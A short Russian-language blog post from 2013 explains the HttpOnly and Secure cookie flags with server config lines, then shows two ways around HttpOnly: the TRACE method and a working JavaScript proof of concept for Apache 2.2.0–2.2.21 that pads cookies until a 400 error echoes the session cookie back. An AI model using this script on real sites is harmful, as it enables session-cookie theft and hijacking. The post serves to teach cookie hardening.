вторник, 16 июля 2013 г.

Флаги cookie - скажи нет XSS

Запретить чтение cookie через javascrpt

HttpOnly позволит передавать куки только в заголовках, это запретит их чтение через javascrpt
Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly

Кофиг для сервера:
 
<httpCookies httpOnlyCookies="true"/> 
 
 
Передача cookie через ssl (если соединение не ssl, то cookie не передаются:

Set-Cookie: MyCookieName=The value of my cookie; path=/; secure

Кофиг для сервера:
 
<httpCookies requireSSL="true" />

Сервис определения флагов cookie. https://asafaweb.com/

Exploit 1

Используем метод TRACE. Сервер ответит тем же запросом, который отправил клиент.


Exploit 2
  • Affected versions: 2.2.0 - 2.2.21
  • Risk: moderately critical (xss needed)
 
Суть эксплойта: если сайт на Apache 2.2.0 - 2.2.21 и содержимое заголовков 
HTTP-Header слишком большое, 
то сервер отвечает ошибкой с номером 400, отправляя вместе с ответом 
содержимое заголовка.
<?php
header("Set-Cookie: SESSIONID=ImAhttpOnlyCookie; path=/; httponly");
?>
<script type="text/javascript">
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 2000);
gotCookie=false;
padding="";
for (j=0;j<=1000;++j) {
    padding+="A";
}
for (i=0;i < 10; ++i) {
    document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+"; 
path=/;"
}

function handler() {
    if (!gotCookie && this.responseText.length > 1) {
 text = /(SESSIONID=[^;]*)/i.exec(this.responseText);
 alert(text[1]);
 gotCookie=true;
    }
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handler;
xhr.open("GET", "/httponly.php");
xhr.send();
</script>

Комментариев нет:

Отправить комментарий